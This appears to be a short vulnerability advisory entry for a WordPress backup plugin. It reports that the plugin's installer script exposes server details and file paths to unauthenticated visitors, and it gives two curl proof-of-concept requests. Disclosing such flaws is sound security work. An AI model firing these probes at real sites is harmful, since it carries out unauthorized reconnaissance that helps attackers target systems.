The plugin does not authenticate or authorize visitors before displaying information about the system such as server software, php version and full file system path to the site.
1. curl 'http://example.com/wp-content/backups-dup-lite/dup-installer/main.installer.php?view=1' 2. curl -d view 'http://example.com/wp-content/backups-dup-lite/dup-installer/main.installer.php?debug=1'
Ihsan Sencan
Ihsan Sencan
Yes
2022-08-01 (about 10 months ago)
2022-08-01 (about 10 months ago)
2023-05-03 (about 1 months ago)